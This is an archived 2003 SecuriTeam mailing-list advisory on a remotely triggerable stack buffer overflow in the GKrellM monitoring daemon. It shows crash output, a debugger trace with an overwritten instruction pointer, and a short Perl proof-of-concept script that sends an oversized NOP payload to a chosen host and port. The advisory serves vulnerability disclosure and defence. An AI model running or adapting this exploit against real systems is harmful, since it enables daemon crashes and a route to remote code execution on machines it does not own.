

# [UNIX] GKrellM Vulnerable to Remotely Exploitable Buffer Overflow (Exploit)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-06/0084.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 06/24/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 24 Jun 2003 17:45:09 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security in Canada

Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.

We welcome ISPs, system integrators and IT systems resellers

to promote the most advanced vulnerability assessment solutions today.

Contact us at 416-482-0038 or at [canadasales@beyondsecurity.com](mailto:canadasales@beyondsecurity.com)

-----

GKrellM Vulnerable to Remotely Exploitable Buffer Overflow (Exploit)

---

## SUMMARY

<<http://web.wt.net/~billw/gkrellm/gkrellm.html>> GKrellM is a single process stack of system monitors which supports applying themes to match its appearance to your window manager, Gtk, or any other theme. The daemon has been found to contain a security vulnerability that allows remote attackers to cause the daemon to crash, while executing arbitrary code.

## DETAILS

When someone sends data to the GKrellMd, GKrellMd uses buffers to store this data, however, it doesn't check for the maximum buffersize (128bytes). This can result in remote executing of code and crashing of the daemon.

Example:

Verbose GKrellMd output:

```
cyride-bash# gkrellmd -P 661 -V
```

## Securiteam: [UNIX] GKrellM Vulnerable to Remotely Exploitable Buffer Overflow (Exploit)

update\_HZ=3

connect string from client: gkrellm 2.1.10

gkrellmd accepted client: dwop.darkwired.da.ru:43755

received 141 bytes:

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAA
```

Segmentation fault (core dumped)

Debugger output (eip):

```
cyride-bash# gdb gkrellmd gkrellmd.core
```

```
(gdb) info reg
```

```
eip 0x41414141 0x41414141
```

Vendor status:

The vendor has been contacted on 22-06-2003.

Proof of concept:

```
gkrellmcrash.pl:
```

```
#!/usr/bin/perl -s
```

```
use IO::Socket;
```

```
#
```

```
# proof of concept code
```

```
# tested: gkrellmd 2.1.10
```

```
#
```

```
if(!$ARGV[0] || !$ARGV[1])
```

```
{ print "usage: ./gkrellmcrash.pl <host> <port>\n"; exit(-1); }
```

```
$host = $ARGV[0];
```

```
$port = $ARGV[1];
```

```
$exploitstring = "\x90"x156;
```

```
$eip = "BCDE";
```

```
$socket = new IO::Socket::INET (
```

```
Proto => "tcp",
```

```
PeerAddr => $host,
```

```
PeerPort => $port);
```

```
die "unable to connect to $host:$port ($!)\n" unless $socket;
```

```
print $socket "gkrellm 2.1.10\n"; #tell the daemon wich client we have
```

```
sleep(1);
```

```
print $socket $exploitstring, $eip;
```

```
close($socket);
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:dodo@darkwired.ath.cx>> dodo.

Securiteam: [UNIX] GKrellM Vulnerable to Remotely Exploitable Buffer Overflow (Exploit)

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.